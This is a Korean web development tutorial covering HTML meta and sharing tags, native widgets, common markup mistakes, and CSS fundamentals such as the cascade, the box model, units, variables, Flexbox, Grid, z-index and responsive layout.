같은 정보가 두 곳에서 다르게 쓰입니다 검색 결과 <title> → 파란 제목 줄 <meta name="description"> → 아래 요약 설명은 검색 엔진이 무시하고 본문에서 뽑기도 합니다 공유 카드 (카톡 · 슬랙 · SNS) og:title · og:description · og:image og:url — 정규 주소 · og:type — website · article og:image 는 반드시 절대 주소(https://…)여야 합니다 미리보기 카드 og:image (1200×630) 제목 · 설명이 그 아래 고쳤는데 그대로 나올 때 메신저·SNS 는 카드를 캐시합니다 — 각 플랫폼의 디버거에서 갱신을 요청하거나, 이미지 주소에 버전을 붙이세요(?v=2) 한 줄만 더 — <link rel="canonical"> 로 정규 주소를 알려 주면 같은 내용이 여러 주소로 흩어지는 문제가 줄어듭니다
링크를 공유했을 때의 첫인상은 이 태그 서너 줄이 결정합니다.
head 여섯 줄 — 각 줄이 어디에 나타나는가 <title>주문 내역 — 가게</title> <meta name="description" content="…"> <meta property="og:title" content="…"> <meta property="og:description" content="…"> <meta property="og:image" content="https://…/card.png"> <link rel="canonical" href="https://…"> 검색 결과 파란 제목 · 탭 이름 검색 결과 요약 — 무시되기도 함 공유 카드 제목 (카톡 · 슬랙) 공유 카드 설명 카드 이미지 1200×630 · 절대 주소 정규 주소 — 주소가 흩어지지 않게 고쳤는데 그대로 나오면 — 메신저·SNS 가 카드를 캐시한 것입니다 각 플랫폼 디버거에서 갱신을 요청하거나 이미지 주소에 버전을 붙이세요 (?v=2)
링크를 공유했을 때의 첫인상은 이 태그 서너 줄이 결정합니다.
HTML 12

JS 없이 되는 기본 위젯

아코디언 · 모달 · 팝오버는 이제 태그만으로 됩니다.

접기 · 모달

<!-- 아코디언 -->
<details>
  <summary>환불 규정 보기</summary>
  <p>구매 후 7일 이내…</p>
</details>

<!-- 모달 — 포커스 가둠·ESC 닫기가 기본 제공 -->
<dialog id="dlg">
  <form method="dialog">
    <p>삭제할까요?</p>
    <button value="ok">확인</button>
    <button value="no">취소</button>
  </form>
</dialog>
dlg.returnValue = "";                // ESC 로 닫으면 값이 안 바뀌므로 열 때마다 비움
dlg.showModal();                    // 뒤 배경 클릭 차단 + 포커스 가둠
dlg.addEventListener("close", () => {
  console.log(dlg.returnValue);     // "ok" | "no" | ""(ESC)
});
<dialog> 는 포커스 가둠·ESC 닫기·배경 비활성화를 브라우저가 해 줍니다. 직접 만들면 가장 자주 틀리는 부분입니다.

그 외 유용한 것

<!-- 팝오버 (툴팁·드롭다운) -->
<button popovertarget="tip">도움말</button>
<div id="tip" popover>여기에 설명</div>

<!-- 자동완성 목록 -->
<input list="cities" name="city">
<datalist id="cities">
  <option value="서울"><option value="부산">
</datalist>

<!-- 진행률 · 수치 -->
<progress value="70" max="100">70%</progress>
<meter value="0.6">60%</meter>

<!-- 이미지 크기별 교체 (art direction) -->
<picture>
  <source media="(max-width:600px)" srcset="mobile.webp">
  <img src="desktop.webp" alt="…">
</picture>
<details> 안의 내용은 검색에 잡힙니다(닫혀 있어도). 반대로 display:none 으로 감춘 내용은 낭독기·검색 모두에서 없는 것이 됩니다.
HTML 13

자주 하는 실수 모음

코드 리뷰에서 가장 많이 지적되는 것들입니다.

증상원인과 해결
모바일에서 글씨가 개미만 함viewport meta 누락
한글이 ??? 로 깨짐<meta charset="utf-8"> 를 head 첫 줄에
이미지 뜨면서 글이 아래로 밀림width·height 를 적어 자리를 예약
Tab 으로 버튼에 못 감div 를 버튼처럼 씀 → <button> 으로
id 가 중복id 는 문서에 하나. 반복되는 건 class 로
label 클릭해도 입력칸에 커서가 안 감for ↔ id 불일치
폼 전송했는데 값이 안 옴input 에 name 이 없음
버튼 눌렀더니 페이지가 새로고침form 안 button 의 기본은 submit → type="button"
새 탭 링크에서 보안 경고target="_blank" 에 rel="noopener" 추가
아이콘 버튼이 "버튼"으로만 읽힘aria-label 로 이름 주기
점검 도구 — 크롬 개발자도구의 Lighthouse 를 한 번 돌리면 접근성·SEO·성능 문제를 줄 번호까지 짚어 줍니다. 실무에서는 CI 에 axe·pa11y 를 붙여 접근성 회귀를 자동으로 막습니다.

셀프 점검 5분 루틴

  • ☐ 마우스를 뽑고 Tab 만으로 끝까지 조작되는가 — 지금 어디에 포커스가 있는지 항상 보이는가
  • ☐ 이미지를 전부 끄면(개발자도구) 무슨 내용인지 알 수 있는가 — alt 점검
  • ☐ CSS 를 끄면 문서가 위→아래로 읽히는 순서인가 — 구조 점검
  • ☐ 브라우저 리더 모드로 열었을 때 본문이 제대로 추출되는가
  • ☐ 200% 확대에서 깨지지 않는가
이 다섯이 통과되는 문서는 검색·낭독기·AI 크롤러 모두에게 잘 읽힙니다 — 같은 구조를 읽기 때문입니다.

배우는 순서 — 로드맵

  • 1단계 — 01~04: 뼈대 + 제목·목록·링크로 자기소개 페이지 (CSS 없이 먼저!)
  • 2단계 — 05~06: 문의 폼을 검증까지 태그로만
  • 3단계 — 07~09: 시맨틱 구획 + 표. 낭독기(무료: NVDA)로 직접 들어 보기 — 한 번 들으면 관점이 바뀝니다
  • 4단계 — 10~12: 로딩 최적화 + 공유 카드 + 내장 위젯. Lighthouse 100점에 도전
다음 탭 — 모양은 🎨 CSS, 동작은 🟨 JavaScript. 프레임워크(React·Vue)를 배워도 결국 이 태그들을 만들어 내는 것이므로 여기서 배운 규칙이 그대로 적용됩니다.
CSS · 배치와 모양

안 먹히는
이유를
알면
CSS 는 쉽다

CSS 가 어려운 이유는 문법이 아니라 "왜 이 값이 이겼는가"가 안 보이기 때문입니다. 이 탭은 값이 정해지는 순서 → 상자 계산 → 배치(Flex·Grid) → 반응형 순서로, 안 먹힐 때 어디를 봐야 하는지를 기준으로 정리했습니다. 여기까지 마치면 !important 없이 레이아웃을 짜고 고칠 수 있습니다.

14SECTIONS
0!important
2Flex · Grid
1모바일 우선
CSS 01

값이 정해지는 순서

"CSS 가 안 먹혀요"의 90%가 이 순서를 몰라서 생깁니다.

같은 속성을 노리는 규칙이 여럿일 때 — 심판은 이 순서로 묻습니다 ① !important 붙은 쪽? ② @layer 순서로 갈림? ③ 명시도 점수로 갈림? ④ 작성 순서 나중 것은? 동점 동점 동점 그쪽이 이김 — 끝 뒤는 보지 않음 나중 레이어 승 레이어 밖이 최우선 점수 높은 쪽 승 id 100·class 10·태그 1 나중에 적힌 것 승 마지막 동점 처리 "명시도를 아무리 올려도 안 되는" 규칙은 ①이나 ②에서 이미 진 것입니다 판정 전에 "상속"이 있습니다 — 직접 지정된 규칙이 하나라도 있으면 상속값은 집니다 개발자도구 Styles 패널이 이 판정 결과표입니다 — 취소선 = 진 규칙
CSS 디버깅은 "왜 안 먹지?"가 아니라 "몇 번 심판에서 누구에게 졌지?"로 물으면 끝납니다.

위에서부터 이긴다

1. !important            ← 최후의 수단 (쓰지 마세요)
2. 인라인 style="…"       ← 명시도 1000
3. #id                   ← 100
4. .class · [속성] · :hover ← 10
5. 태그 · ::before        ← 1
6. * (전체 선택자)         ← 0

같은 점수면 → 나중에 적힌 것이 이깁니다
/* 점수 계산 예 */
#app .btn span   { }   /* 100 + 10 + 1 = 111  ← 이김 */
.page .btn span  { }   /*  10 + 10 + 1 =  21 */
확인법 — 개발자도구에서 요소를 찍으면 Styles 패널에 진 규칙에 취소선이 그어져 있습니다. 무엇에 졌는지 바로 보이니 추측하지 말고 여기를 보세요.

!important 대신 @layer

/* 순서를 '미리' 정해 둔다 — 뒤 레이어가 이깁니다 */
@layer reset, base, components, utilities;

@layer base {
  a { color: blue; }              /* 명시도 1 */
}
@layer utilities {
  .text-red { color: red; }       /* 명시도 10 이지만 */
}
/* → 레이어 순서가 우선이라 utilities 가 이깁니다.
      명시도 싸움을 할 필요가 없어집니다. */
!important 는 빚입니다. 한 번 쓰면 그걸 이기려고 또 쓰게 되고, 결국 전부 important 가 됩니다. 급하면 선택자를 한 단계 구체적으로 하거나 @layer 로 순서를 정하세요.
CSS 02

선택자 — 필요한 만큼만

깊게 쓸수록 고치기 어려워집니다. 짧을수록 좋습니다.

/* 기본 */
.card            { }        /* class */
.card > .title   { }        /* 바로 아래 자식만 */
.card .title     { }        /* 몇 단계 아래든 */
h2 + p           { }        /* h2 바로 다음 형제 */
h2 ~ p           { }        /* h2 뒤의 모든 형제 p */

/* 상태 */
a:hover, a:focus-visible { }   /* 마우스 / 키보드 포커스 */
input:disabled           { }
input:checked + label    { }   /* 체크된 것의 label */
li:nth-child(2n)         { }   /* 짝수 번째 */
li:not(.done)            { }

/* 요즘 많이 쓰는 것 */
.card:has(img)           { }   /* ★ 이미지를 가진 카드 (부모 선택) */
:is(h1, h2, h3) + p      { }   /* 묶어서 짧게 */
:where(h1, h2) a         { }   /* :is 와 같지만 명시도 0 */
선택자쓰임새
:has()부모를 선택. "이미지가 있는 카드만 패딩 다르게" 같은 게 JS 없이 됩니다
:is()여러 선택자를 묶어 짧게. 명시도는 그중 가장 높은 것을 따릅니다
:where()명시도가 항상 0. 라이브러리 기본값에 쓰면 사용자가 쉽게 덮어씁니다
:focus-visible키보드로 왔을 때만 테두리. 마우스 클릭엔 안 뜹니다
div > ul > li > a > span 처럼 길게 쓰지 마세요. HTML 구조를 조금만 바꿔도 깨지고, 명시도가 올라가 나중에 못 덮습니다. 필요한 요소에 class 하나를 주는 편이 거의 항상 낫습니다.

:has() 실전 — JS 로 하던 일이 사라집니다

/* 입력이 틀리면 라벨까지 빨갛게 — 클래스 토글 JS 불필요 */
.field:has(input:invalid:not(:placeholder-shown)) label{ color: crimson; }

/* 체크된 항목이 하나라도 있으면 삭제 버튼 표시 */
.toolbar:has(~ .list input:checked) .btn-delete{ display: inline-flex; }

/* 이미지가 있는 카드와 없는 카드의 레이아웃 분기 */
.card:has(> img){ grid-template-rows: 160px 1fr; }

/* 다음 요소에 따라 내 여백 조절 — "제목 뒤가 표면 붙이기" */
h2:has(+ table){ margin-bottom: 4px; }

/* 모달이 열려 있으면 body 스크롤 잠금 */
body:has(dialog[open]){ overflow: hidden; }
:has() 는 "상태를 클래스로 복사해 두는 JS"를 지우는 도구입니다. 상태가 이미 DOM 에 있다면(checked · invalid · open · 자식 유무) 스타일은 CSS 가 직접 읽게 하세요.
CSS 03

박스 모델과 box-sizing

"width 를 300 으로 줬는데 320 이에요" — 여기서 시작합니다.

모든 요소는 4겹 상자입니다 margin — 바깥 거리 (투명) border padding — 안쪽 여백 content 배경색은 padding 까지, margin 은 항상 투명 width:300px 의 실제 폭 content-box (기본) — 300 + 패딩 20 + 테두리 2 내용 300 실제 322px — 22px 삐져나옴 border-box (모두가 쓰는 것) 내용 278 패딩·테두리 포함 딱 300px 0 100 200 300px
첫 CSS 파일의 첫 줄이 *{box-sizing:border-box} 인 이유 — 계산 없는 세계로 시작하기 위해서입니다.

기본값의 함정

/* 기본: content-box */
.box{
  width: 300px;
  padding: 10px;      /* 좌우 20 */
  border: 1px solid;  /* 좌우 2 */
}
/* → 실제 차지하는 너비 = 300 + 20 + 2 = 322px */

/* ✓ 거의 모든 프로젝트가 이걸 깝니다 */
*, *::before, *::after { box-sizing: border-box; }

.box{ width:300px; padding:10px; border:1px solid; }
/* → 실제 너비 = 300px (패딩·테두리가 안쪽으로) */
border-box 는 사실상 표준입니다. "적은 값이 곧 보이는 값"이 되어 계산이 사라집니다.

margin 이 겹치는 현상

/* 위아래 margin 은 '합쳐지지 않고 큰 쪽만' 남습니다 */
.a{ margin-bottom: 20px; }
.b{ margin-top: 30px; }
/* → 사이 간격은 50 이 아니라 30 */

/* 겹침을 막는 법 */
.parent{ display: flex; }        /* flex·grid 안에서는 안 겹침 */
.parent{ padding-top: 1px; }     /* 부모–첫 자식 사이 겹침만 막음 (형제끼리는 그대로) */
.parent{ overflow: hidden; }     /* 새 BFC — 역시 부모–자식 사이만 */

/* ✓ 요즘 방식 — 간격은 부모가 gap 으로 */
.list{ display: flex; flex-direction: column; gap: 16px; }
자식에 margin 을 주는 대신 부모에 gap 을 주세요. "마지막 항목만 margin 빼기"(:last-child) 같은 예외 처리가 통째로 사라집니다.
CSS 04

단위 고르기

px 로만 짜면 글씨 크기를 키운 사용자에게 화면이 깨집니다.

단위기준쓰는 곳
px고정테두리, 그림자, 아주 작은 간격
rem루트 글꼴(보통 16px)글자·여백의 기본. 사용자 설정을 따라갑니다
em그 요소의 글꼴버튼 안쪽 여백처럼 글자에 비례해야 할 때
%부모너비
vw·vh화면전체 화면 섹션
dvh실제 보이는 높이모바일 주소창이 접히는 것까지 반영
ch글자 0 의 너비글줄 길이 제한 (max-width:65ch)
/* 화면 크기에 따라 부드럽게 — 미디어 쿼리 없이 */
h1{ font-size: clamp(1.5rem, 4vw, 3rem); }
/*                  최소     선호   최대  */

.container{ width: min(100% - 32px, 1200px); }   /* 좌우 16 여백 + 최대 1200 */
.side{ width: max(240px, 20%); }

/* 모바일 100vh 문제 — 주소창 때문에 잘립니다 */
.full{ height: 100dvh; }         /* ✓ */
글자 크기에 px 을 쓰면 브라우저 글꼴 크기 설정을 바꿔도 그대로입니다. 저시력 사용자가 글씨를 키울 수 없게 됩니다 — 본문·제목은 rem 으로 잡으세요.
단위는 '무엇을 기준으로 재느냐'로 갈립니다 px 고정 — 테두리·그림자처럼 변하면 안 되는 값에 em 자기 글자 크기 기준 — 중첩되면 곱해집니다(버튼 안 버튼) rem 문서 기본 글자 기준 — 중첩돼도 흔들리지 않습니다. 기본값으로 % 부모 기준 — 너비는 부모 너비, 높이는 부모 높이가 정해져 있어야 vw · vh · dvh 화면 기준 — 모바일 주소창 때문에 vh 대신 dvh 를 쓰세요 실무 기본값 — 글자·여백은 rem, 테두리는 px, 폭은 % 나 자동, 화면 꽉 채우기는 dvh 사용자가 브라우저 글자 크기를 키웠을 때 px 로만 짠 화면은 그대로입니다 — 접근성에서 rem 이 유리한 이유입니다
단위를 섞어 쓰는 것이 문제가 아니라 기준을 모르고 쓰는 것이 문제입니다.
font-size 1.25 를 세 겹 중첩하면 — em 은 곱해지고 rem 은 그대로 0 10 20 30 px 1겹 안 20px 20px 2겹 안 25px 20px 3겹 안 31.25px 20px 1.25em — 부모 글자 기준이라 곱해짐 1.25rem — 항상 html(16px) 기준 %·vw 도 같은 질문입니다 — 기준을 알면 결과를 미리 계산할 수 있습니다
단위를 섞어 쓰는 것이 문제가 아니라 기준을 모르고 쓰는 것이 문제입니다.
CSS 05

변수 — 커스텀 프로퍼티

색·간격을 한 곳에서 정하면 테마 교체가 한 줄이 됩니다.

기본

:root{
  --brand: #6a5cff;
  --text: #1a1a1a;
  --bg: #ffffff;
  --radius: 12px;
  --gap: 16px;
}

.btn{
  background: var(--brand);
  border-radius: var(--radius);
  color: var(--fg, white);      /* 두 번째 값 = 기본값 */
}

/* 부분만 덮어쓰기 — 이 안에서만 적용됩니다 */
.panel{ --brand: #00b894; }
SCSS 변수와 다릅니다. 커스텀 프로퍼티는 브라우저에서 살아 있어 JS 로 바꾸거나 미디어 쿼리 안에서 다시 정할 수 있습니다.

JS 로 바꾸기 · 계산에 쓰기

// 읽기
const c = getComputedStyle(document.documentElement)
            .getPropertyValue("--brand").trim();

// 쓰기 (테마 교체·슬라이더 연동)
document.documentElement.style.setProperty("--brand", "#ff6b6b");
/* 계산에 그대로 씁니다 */
.card{ padding: calc(var(--gap) * 1.5); }

/* 색 하나로 변형 만들기 (요즘 문법) */
.btn:hover{ background: color-mix(in oklab, var(--brand), black 12%); }

/* 값에 타입을 알려 주면 애니메이션도 됩니다 */
@property --ang{ syntax:"<angle>"; inherits:false; initial-value:0deg; }

이름을 어떻게 지을까 — 이 두 층이면 충분합니다

원시값 → 의미값 2단 구조

:root{
  /* ① 원시값(palette) — 색 그 자체. 여기서만 실제 색을 씁니다 */
  --gray-0:#ffffff; --gray-1:#f5f6f8; --gray-8:#23262d; --gray-9:#0f1115;
  --violet-5:#6a5cff; --red-5:#e5484d; --green-5:#30a46c;

  /* ② 의미값(semantic) — 화면에서는 이것만 씁니다 */
  --bg:        var(--gray-0);
  --bg-subtle: var(--gray-1);
  --fg:        var(--gray-9);
  --fg-muted:  #666;
  --line:      #e5e5e5;
  --accent:    var(--violet-5);
  --danger:    var(--red-5);

  /* 간격·모서리·그림자도 같은 방식 */
  --space-1:4px; --space-2:8px; --space-3:16px; --space-4:24px;
  --radius:12px; --radius-sm:8px;
  --shadow-1:0 1px 2px rgb(0 0 0 / .06);
}

/* 다크 모드는 ②만 바꿉니다 — 컴포넌트 CSS 는 한 줄도 안 고칩니다 */
:root[data-theme="dark"]{
  --bg: var(--gray-9);
  --bg-subtle: var(--gray-8);
  --fg: #e8e8ea;
  --line: #23262d;
}

/* 컴포넌트는 의미값만 참조합니다 */
.card{
  background: var(--bg-subtle);
  border: 1px solid var(--line);
  border-radius: var(--radius);
  padding: var(--space-3);
}
--white 가 아니라 --bg 로 이름을 지으세요. 다크 모드를 넣는 순간 --white: #0f1115; 같은 말이 안 되는 코드가 됩니다. "무슨 색인가"가 아니라 "무슨 역할인가"로 이름을 지으면 테마 추가가 변수 몇 줄 교체로 끝납니다.

알아 두면 쓰임새가 넓어지는 것

/* ① 컴포넌트에 '조절 손잡이'를 만들어 두기 */
.btn{
  --btn-bg: var(--accent);
  --btn-fg: white;
  --btn-pad: var(--space-2) var(--space-3);

  background: var(--btn-bg);
  color: var(--btn-fg);
  padding: var(--btn-pad);
}
/* 쓰는 쪽에서 변형 — 새 클래스를 만들 필요가 없습니다 */
.btn.danger{ --btn-bg: var(--danger); }
.btn.ghost { --btn-bg: transparent; --btn-fg: var(--accent); }

/* ② 상속을 이용한 지역 테마 — 이 안의 모든 자식에 적용됩니다 */
.promo{ --accent:#ff6b6b; --line:#ffd9d9; }

/* ③ 미디어 쿼리 안에서 값만 바꾸기 (선택자 중복이 사라집니다) */
:root{ --gap:16px; --col:3; }
@media (max-width:900px){ :root{ --gap:12px; --col:2; } }
@media (max-width:600px){ :root{ --gap:8px;  --col:1; } }
.grid{
  display:grid;
  gap: var(--gap);
  grid-template-columns: repeat(var(--col), 1fr);
}

/* ④ 폴백은 쉼표 뒤에 — 변수가 없을 때만 쓰입니다 */
color: var(--fg, #1a1a1a);
/* 중첩도 됩니다 */
color: var(--fg-strong, var(--fg, #1a1a1a));
커스텀 프로퍼티는 상속됩니다 — 이게 장점이자 함정입니다. .promo{ --accent: red } 를 걸면 그 안의 모든 자식이 영향을 받습니다. 의도한 것이면 강력하지만, 모르고 쓰면 “왜 여기만 색이 다르지”를 한참 찾게 됩니다.
또 값이 유효한지 검사하지 않습니다 — --gap: 16(단위 누락)처럼 잘못된 값을 넣으면 조용히 무시되고 기본값이 적용됩니다. @property 로 타입을 선언해 두면 이 실수를 막을 수 있습니다.
CSS 06

Flexbox — 한 줄 배치

가로 또는 세로 한 방향으로 늘어놓을 때 씁니다.

flex-direction: row — 주축이 가로 주축 → justify-content align-items flex-direction: column — 축이 90° 회전 주축 ↓ justify 같은 속성인데 역할이 뒤바뀝니다: justify = 세로 정렬 align = 가로 정렬 "center 를 줬는데 왜 안 되지?"의 정체
외우지 말고 이렇게 — justify 는 흐르는 방향, align 은 그 수직. 방향이 돌면 둘 다 함께 돕니다.

부모에 주는 것

.row{
  display: flex;
  flex-direction: row;        /* row | column */
  justify-content: space-between;  /* 주축(가로) 정렬 */
  align-items: center;             /* 교차축(세로) 정렬 */
  gap: 16px;
  flex-wrap: wrap;            /* 넘치면 줄바꿈 */
}

/* 가장 많이 쓰는 세 가지 */
.center{ display:flex; justify-content:center; align-items:center; }
.between{ display:flex; justify-content:space-between; align-items:center; }
.stack{ display:flex; flex-direction:column; gap:12px; }
축이 헷갈릴 때 — justify-* 는 방향(direction)을 따라, align-* 은 그 수직입니다. flex-direction:column 이면 둘의 의미가 뒤바뀝니다.

자식에 주는 것

.item{
  flex: 1;              /* = 1 1 0  남은 공간을 똑같이 나눔 */
  flex: 0 0 200px;      /* 늘지도 줄지도 않는 200px 고정 */
  flex: 1 1 auto;       /* 내용 크기에서 시작해 늘고 줆 */
}

.push{ margin-left: auto; }   /* ★ 이것만 오른쪽 끝으로 */

/* 줄어들다 글자가 삐져나오는 문제 */
.ellipsis{
  min-width: 0;               /* ★ flex 자식의 기본은 min-width:auto */
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
}
말줄임(…)이 안 될 때는 min-width:0 을 의심하세요. flex 자식은 기본적으로 내용보다 작아지지 않으려 해서 overflow:hidden 이 무시된 것처럼 보입니다.
CSS 07

Grid — 두 방향 배치

행과 열을 동시에 다뤄야 하면 Grid 가 훨씬 짧습니다.

가장 많이 쓰는 형태

/* ★ 미디어 쿼리 없는 반응형 카드 그리드 */
.cards{
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(260px, 1fr));
  gap: 20px;
}
/* 화면이 좁아지면 자동으로 열 수가 줄어듭니다 */

/* 고정 + 가변 */
.layout{
  display: grid;
  grid-template-columns: 240px 1fr;   /* 사이드바 + 본문 */
  gap: 24px;
}

/* 12칸 시스템 */
.g{ display:grid; grid-template-columns: repeat(12, 1fr); }
.wide{ grid-column: span 8; }

이름으로 배치하기

.page{
  display: grid;
  grid-template-areas:
    "head head"
    "side main"
    "foot foot";
  grid-template-columns: 240px 1fr;
  grid-template-rows: auto 1fr auto;
  min-height: 100dvh;
}
.page > header{ grid-area: head; }
.page > nav   { grid-area: side; }
.page > main  { grid-area: main; }
.page > footer{ grid-area: foot; }

/* 모바일에선 한 줄로 */
@media (max-width: 720px){
  .page{
    grid-template-areas: "head" "main" "side" "foot";
    grid-template-columns: 1fr;
  }
}
Flex vs Grid — 한 방향이면 Flex, 격자면 Grid. 내용 크기에 맞춰 흐르게 두려면 Flex, 칸을 먼저 정하고 채우려면 Grid 입니다.

복붙해서 쓰는 레이아웃 다섯

① 반응형 카드 · ② 성지 레이아웃 · ③ 본문 가운데

/* ① 미디어 쿼리 없이 반응하는 카드 목록 */
.cards{
  display:grid;
  grid-template-columns: repeat(auto-fill, minmax(min(260px, 100%), 1fr));
  gap:20px;
}
/* min(260px, 100%) — 화면이 260px 보다 좁아도 넘치지 않습니다 */

/* auto-fit vs auto-fill 차이 */
/*  auto-fit  : 남는 칸을 접어 카드가 늘어납니다 (카드가 2개면 화면을 꽉 채움) */
/*  auto-fill : 빈 칸을 그대로 둡니다 (카드 크기가 일정하게 유지됨) */

/* ② 화면 전체를 쓰는 기본 골격 — 푸터가 항상 바닥에 */
body{
  display:grid;
  grid-template-rows: auto 1fr auto;
  min-height:100dvh;              /* ★ vh 가 아니라 dvh — 모바일 주소창 대응 */
  margin:0;
}

/* ③ 본문은 가운데, 특정 요소만 화면 폭 전체로 */
.prose{
  display:grid;
  grid-template-columns:
    1fr min(68ch, 100% - 2rem) 1fr;   /* 좌여백 | 본문 | 우여백 */
}
.prose > *{ grid-column:2; }          /* 기본은 가운데 칸 */
.prose > .full{ grid-column:1 / -1; } /* 이것만 전체 폭 */

④ 겹치기 · ⑤ 자동 높이 맞춤

/* ④ 요소를 겹쳐 놓기 — position:absolute 없이 */
.stack{ display:grid; }
.stack > *{ grid-area: 1 / 1; }       /* 전부 같은 칸에 = 겹칩니다 */
.stack > .overlay{ place-self:end center; }
/* 이미지 위 캡션·로딩 스피너·배지에 유용합니다.
   부모 높이를 가장 큰 자식이 정해 주는 것이 장점입니다. */

/* ⑤ 카드 안 요소 높이를 줄마다 맞추기 (서브그리드) */
.cards{ display:grid; grid-template-columns:repeat(3,1fr); gap:16px; }
.card{
  display:grid;
  grid-row: span 3;
  grid-template-rows: subgrid;        /* ★ 부모 행을 그대로 물려받습니다 */
}
/* → 제목·본문·버튼이 카드마다 같은 높이에 정렬됩니다 */

/* 버튼을 항상 카드 바닥에 (서브그리드를 못 쓸 때 — ⑤ 대신. 같이 두면 뒤의 display:flex 가 이깁니다) */
.card{ display:flex; flex-direction:column; }
.card .actions{ margin-top:auto; }

/* 그리드 안에서 정렬 */
.box{
  display:grid;
  place-items:center;                 /* 가로·세로 가운데 — 가장 짧은 방법 */
}
min-height:100vh 는 모바일에서 잘립니다. 주소창이 차지하는 높이가 스크롤에 따라 변하기 때문입니다. 100dvh(동적 뷰포트 높이)를 쓰면 실제 보이는 영역에 맞춰집니다. 구형 브라우저까지 챙기려면 min-height:100vh; min-height:100dvh; 로 두 줄 나란히 두세요 — 지원하지 않는 브라우저는 뒤 줄을 무시합니다.

Grid 에서 자주 막히는 것

증상원인해결
내용이 칸 밖으로 넘침그리드 항목의 기본 min-width 가 autominmax(0, 1fr) 또는 자식에 min-width:0
긴 텍스트가 열을 밀어냄같은 이유overflow-wrap:anywhere 함께
화면보다 넓어져 가로 스크롤고정 minmax(260px,...)minmax(min(260px,100%),1fr)
gap 이 안 먹음구형 브라우저 · display:blockdisplay:grid·flex 확인
행 높이가 제각각기본이 내용 높이grid-auto-rows:1fr 또는 subgrid
순서를 바꾸니 접근성 경고order·grid-area 는 보이는 순서만 바꿉니다키보드·스크린리더는 HTML 순서를 따릅니다 — DOM 을 고치세요
넘침 문제의 원인은 거의 항상 min-width:auto 입니다. 그리드·플렉스 항목은 “내용보다 작아지지 않는다”가 기본값이라, 안에 긴 URL 이나 넓은 표가 있으면 칸이 늘어나 레이아웃이 깨집니다. 1fr 대신 minmax(0, 1fr) 을 쓰는 습관 하나로 이 부류의 버그가 통째로 사라집니다.
Grid — 부모가 칸을 먼저 정하고 자식이 그 칸에 들어갑니다 display: grid · grid-template-columns: 1fr 1fr 1fr · gap: 12px 항목 1 항목 2 항목 3 항목 4 grid-column: span 2 — 두 칸을 차지합니다 항목 5 1fr 은 "남은 공간을 나눠 가진 한 몫" 입니다 — 200px 1fr 2fr 처럼 섞어 쓸 수 있습니다 repeat(auto-fit, minmax(240px, 1fr)) 미디어 쿼리 없이 화면이 좁아지면 알아서 열이 줄어듭니다 — 카드 목록의 기본형 가로 한 줄 배치라면 Flex 가 편하고, 행과 열을 함께 잡아야 하면 Grid 가 편합니다
Flex 와 Grid 는 경쟁 관계가 아닙니다 — 바깥 틀은 Grid, 안쪽 줄은 Flex 가 흔한 조합입니다.
CSS 08

position 과 z-index

"z-index 9999 인데 안 올라와요" — 쌓임 맥락 때문입니다.

position 다섯 가지

값기준
static기본. top/left 안 먹습니다
relative원래 자리 기준으로 이동. 자리는 그대로 차지
absolute가장 가까운 position≠static 조상 기준. 자리를 비웁니다
fixed화면 기준. 스크롤해도 고정
sticky스크롤하다 정해진 위치에서 붙습니다
/* sticky 헤더 — 부모에 overflow 가 있으면 안 붙습니다 */
.thead{ position: sticky; top: 0; z-index: 2; background: white; }

/* 부모에 기준점 주기 */
.card{ position: relative; }
.badge{ position: absolute; top: 8px; right: 8px; }

z-index 가 안 먹는 이유

/* 아래 속성들은 '새 쌓임 맥락'을 만듭니다.
   그 안의 z-index 는 아무리 커도 '그 상자 안에서만' 유효합니다. */
transform / filter / opacity(1 미만) / will-change
position:fixed / isolation:isolate / contain:paint

/* ✗ 안 되는 상황 */
.parent{ transform: translateZ(0); }   /* ← 여기서 갇힘 */
.child { z-index: 9999; }              /* parent 밖으로 못 나감 */

/* ✓ 해결 — 모달은 최상위로 옮긴다 */
document.body.appendChild(modal);
/* 또는 아예 top-layer 를 쓰는 <dialog> / popover 사용 */
z-index 를 999999 로 올리기 전에 개발자도구에서 조상 중에 transform·opacity·filter 가 있는지 보세요. 거의 항상 그것 때문입니다.
z-index 9999 가 z-index 2 에게 지는 그림 부모 — transform 있음 · z-index: 1 → 유리 상자(쌓임 맥락)가 만들어진다 자식 z-index: 9999 상자 안에서만 1등 형제 요소 — z-index: 2 상자(1) 위에 있으므로 9999 도 덮는다 비교되는 것은 9999 vs 2 가 아니라 상자 1 vs 형제 2 입니다 해결: 모달을 상자 밖 (body 끝·Teleport)으로, 또는 dialog/popover 로 상자를 만드는 것들: transform · filter · opacity<1 · will-change · position:fixed · isolation:isolate
z-index 는 전역 순위가 아니라 같은 유리 상자 안에서의 순위입니다 — 상자가 다르면 숫자 비교 자체가 일어나지 않습니다.
CSS 09

반응형 — 모바일 우선

좁은 화면을 기본으로 쓰고, 넓어질 때 더하는 방향이 코드가 짧습니다.

미디어 쿼리

/* 기본 = 모바일 */
.grid{ display:grid; grid-template-columns:1fr; gap:16px; }

/* 넓어지면 더한다 (min-width) */
@media (min-width: 720px){
  .grid{ grid-template-columns: repeat(2,1fr); }
}
@media (min-width: 1100px){
  .grid{ grid-template-columns: repeat(3,1fr); }
}

/* 기기 특성으로 가르기 — 화면 크기보다 정확합니다 */
@media (hover: hover){ .btn:hover{ background:#eee; } }
@media (prefers-reduced-motion: reduce){
  *{ animation:none !important; transition:none !important; }
}
@media (prefers-color-scheme: dark){ :root{ --bg:#111; } }
터치 기기에 :hover 를 주면 탭했을 때 스타일이 남아 붙습니다. @media (hover:hover) 로 감싸면 마우스가 있는 기기에만 적용됩니다.

컨테이너 쿼리

/* 화면이 아니라 '부모 상자' 크기로 판단합니다.
   같은 카드를 사이드바에도, 본문에도 쓸 때 정답입니다. */
.card-area{ container-type: inline-size; }

@container (min-width: 400px){
  .card{ display:grid; grid-template-columns:120px 1fr; }
}
미디어 쿼리로는 이걸 못 합니다. 화면은 넓은데 카드가 좁은 사이드바에 들어가 있으면 미디어 쿼리는 "넓다"고 판단해 깨진 레이아웃을 만듭니다. 재사용하는 컴포넌트일수록 컨테이너 쿼리가 맞습니다.

반응형 점검 목록 — 어디를 확인해야 하나

확인깨질 때의 처방
360px (작은 폰)에서 가로 스크롤이 없는가고정 width 를 max-width:100% 로 · 긴 단어 overflow-wrap
이미지·영상이 상자를 넘지 않는가img{max-width:100%;height:auto} — 리셋에 포함시키세요
표가 좁은 화면에서 터지지 않는가표를 overflow-x:auto 래퍼로 감싸 표만 스크롤
터치 대상이 충분히 큰가버튼·링크 최소 44×44px — 패딩으로 확보
